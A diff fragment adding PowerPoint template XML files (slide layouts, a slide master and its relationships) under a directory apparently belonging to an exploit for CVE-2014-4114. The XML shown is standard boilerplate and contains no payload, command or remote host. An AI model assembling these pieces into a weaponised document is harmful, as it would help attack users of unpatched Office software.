+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="blank" preserve="1"><p:cSld name="Blank"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Date Placeholder 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Footer Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Slide Number Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="objTx" preserve="1"><p:cSld name="Content with Caption"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="273050"/><a:ext cx="3008313" cy="1162050"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="2000" b="1"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="3575050" y="273050"/><a:ext cx="5111750" cy="5853113"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="3200"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2800"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2400"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="2000"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="2000"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="2000"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="2000"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="2000"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="2000"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Text Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="1435100"/><a:ext cx="3008313" cy="4691063"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="1400"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1200"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1000"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="picTx" preserve="1"><p:cSld name="Picture with Caption"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="4800600"/><a:ext cx="5486400" cy="566738"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="2000" b="1"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Picture Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="pic" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="612775"/><a:ext cx="5486400" cy="4114800"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="3200"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="2800"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="2400"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl9pPr></a:lstStyle><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Text Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="5367338"/><a:ext cx="5486400" cy="804862"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="1400"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1200"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1000"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels

@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
+    <Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout8.xml" />
+    <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout3.xml" />
+    <Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout7.xml" />
+    <Relationship Id="rId12" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="../theme/theme1.xml" />
+    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout2.xml" />
+    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml" />
+    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout6.xml" />
+    <Relationship Id="rId11" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout11.xml" />
+    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout5.xml" />
+    <Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout10.xml" />
+    <Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout4.xml" />
+    <Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout9.xml" />
+</Relationships>

data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml

@@ -0,0 +1,505 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldMaster xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
+    <p:cSld>
+        <p:bg>
+            <p:bgRef idx="1001">
+                <a:schemeClr val="bg1" />
+            </p:bgRef>
+        </p:bg>
+        <p:spTree>
+            <p:nvGrpSpPr>
+                <p:cNvPr id="1" name="" />
+                <p:cNvGrpSpPr />
+                <p:nvPr />
+            </p:nvGrpSpPr>
+            <p:grpSpPr>
+                <a:xfrm>
+                    <a:off x="0" y="0" />
+                    <a:ext cx="0" cy="0" />
+                    <a:chOff x="0" y="0" />
+                    <a:chExt cx="0" cy="0" />
+                </a:xfrm>
+            </p:grpSpPr>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="2" name="Title Placeholder 1" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="title" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="457200" y="274638" />
+                        <a:ext cx="8229600" cy="1143000" />
+                    </a:xfrm>
+                    <a:prstGeom prst="rect">
+                        <a:avLst />
+                    </a:prstGeom>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr">
+                        <a:normAutofit />
+                    </a:bodyPr>
+                    <a:lstStyle />
+                    <a:p>
+                        <a:r>
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:t>Click to edit Master title style</a:t>
+                        </a:r>
+                        <a:endParaRPr lang="en-US" />
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="3" name="Text Placeholder 2" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="body" idx="1" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="457200" y="1600200" />
+                        <a:ext cx="8229600" cy="4525963" />
+                    </a:xfrm>
+                    <a:prstGeom prst="rect">
+                        <a:avLst />
+                    </a:prstGeom>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0">
+                        <a:normAutofit />
+                    </a:bodyPr>
+                    <a:lstStyle />
+                    <a:p>
+                        <a:pPr lvl="0" />
+                        <a:r>
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:t>Click to edit Master text styles</a:t>
+                        </a:r>
+                    </a:p>
+                    <a:p>
+                        <a:pPr lvl="1" />
+                        <a:r>
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:t>Second level</a:t>
+                        </a:r>
+                    </a:p>
+                    <a:p>
+                        <a:pPr lvl="2" />
+                        <a:r>
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:t>Third level</a:t>
+                        </a:r>
+                    </a:p>
+                    <a:p>
+                        <a:pPr lvl="3" />
+                        <a:r>
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:t>Fourth level</a:t>
+                        </a:r>
+                    </a:p>
+                    <a:p>
+                        <a:pPr lvl="4" />
+                        <a:r>
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:t>Fifth level</a:t>
+                        </a:r>
+                        <a:endParaRPr lang="en-US" />
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="4" name="Date Placeholder 3" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="dt" sz="half" idx="2" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="457200" y="6356350" />
+                        <a:ext cx="2133600" cy="365125" />
+                    </a:xfrm>
+                    <a:prstGeom prst="rect">
+                        <a:avLst />
+                    </a:prstGeom>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr" />
+                    <a:lstStyle>
+                        <a:lvl1pPr algn="l">
+                            <a:defRPr sz="1200">
+                                <a:solidFill>
+                                    <a:schemeClr val="tx1">
+                                        <a:tint val="75000" />
+                                    </a:schemeClr>
+                                </a:solidFill>
+                            </a:defRPr>
+                        </a:lvl1pPr>
+                    </a:lstStyle>
+                    <a:p>
+                        <a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut">
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:pPr />
+                            <a:t>10/16/2014</a:t>
+                        </a:fld>
+                        <a:endParaRPr lang="en-US" />
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="5" name="Footer Placeholder 4" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="ftr" sz="quarter" idx="3" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="3124200" y="6356350" />
+                        <a:ext cx="2895600" cy="365125" />
+                    </a:xfrm>
+                    <a:prstGeom prst="rect">
+                        <a:avLst />
+                    </a:prstGeom>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr" />
+                    <a:lstStyle>
+                        <a:lvl1pPr algn="ctr">
+                            <a:defRPr sz="1200">
+                                <a:solidFill>
+                                    <a:schemeClr val="tx1">
+                                        <a:tint val="75000" />
+                                    </a:schemeClr>
+                                </a:solidFill>
+                            </a:defRPr>
+                        </a:lvl1pPr>
+                    </a:lstStyle>
+                    <a:p>
+                        <a:endParaRPr lang="en-US" />
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="6" name="Slide Number Placeholder 5" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="sldNum" sz="quarter" idx="4" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="6553200" y="6356350" />
+                        <a:ext cx="2133600" cy="365125" />
+                    </a:xfrm>
+                    <a:prstGeom prst="rect">
+                        <a:avLst />
+                    </a:prstGeom>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr vert="horz" lIns="91440" tIns="45720" rIns="91440" bIns="45720" rtlCol="0" anchor="ctr" />
+                    <a:lstStyle>
+                        <a:lvl1pPr algn="r">
+                            <a:defRPr sz="1200">
+                                <a:solidFill>
+                                    <a:schemeClr val="tx1">
+                                        <a:tint val="75000" />
+                                    </a:schemeClr>
+                                </a:solidFill>
+                            </a:defRPr>
+                        </a:lvl1pPr>
+                    </a:lstStyle>
+                    <a:p>
+                        <a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum">
+                            <a:rPr lang="en-US" smtClean="0" />
+                            <a:pPr />
+                            <a:t>‹#›</a:t>
+                        </a:fld>
+                        <a:endParaRPr lang="en-US" />
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+        </p:spTree>
+    </p:cSld>
+    <p:clrMap bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink" />
+    <p:sldLayoutIdLst>
+        <p:sldLayoutId id="2147483649" r:id="rId1" />
+        <p:sldLayoutId id="2147483650" r:id="rId2" />
+        <p:sldLayoutId id="2147483651" r:id="rId3" />
+        <p:sldLayoutId id="2147483652" r:id="rId4" />
+        <p:sldLayoutId id="2147483653" r:id="rId5" />
+        <p:sldLayoutId id="2147483654" r:id="rId6" />
+        <p:sldLayoutId id="2147483655" r:id="rId7" />
+        <p:sldLayoutId id="2147483656" r:id="rId8" />
+        <p:sldLayoutId id="2147483657" r:id="rId9" />
+        <p:sldLayoutId id="2147483658" r:id="rId10" />
+        <p:sldLayoutId id="2147483659" r:id="rId11" />
+    </p:sldLayoutIdLst>
+    <p:txStyles>
+        <p:titleStyle>
+            <a:lvl1pPr algn="ctr" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="0" />
+                </a:spcBef>
+                <a:buNone />
+                <a:defRPr sz="4400" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mj-lt" />
+                    <a:ea typeface="+mj-ea" />
+                    <a:cs typeface="+mj-cs" />
+                </a:defRPr>
+            </a:lvl1pPr>
+        </p:titleStyle>
+        <p:bodyStyle>
+            <a:lvl1pPr marL="342900" indent="-342900" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="•" />
+                <a:defRPr sz="3200" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl1pPr>
+            <a:lvl2pPr marL="742950" indent="-285750" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="–" />
+                <a:defRPr sz="2800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl2pPr>
+            <a:lvl3pPr marL="1143000" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="•" />
+                <a:defRPr sz="2400" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl3pPr>
+            <a:lvl4pPr marL="1600200" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="–" />
+                <a:defRPr sz="2000" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl4pPr>
+            <a:lvl5pPr marL="2057400" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="»" />
+                <a:defRPr sz="2000" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl5pPr>
+            <a:lvl6pPr marL="2514600" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="•" />
+                <a:defRPr sz="2000" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl6pPr>
+            <a:lvl7pPr marL="2971800" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="•" />
+                <a:defRPr sz="2000" kern="1200">
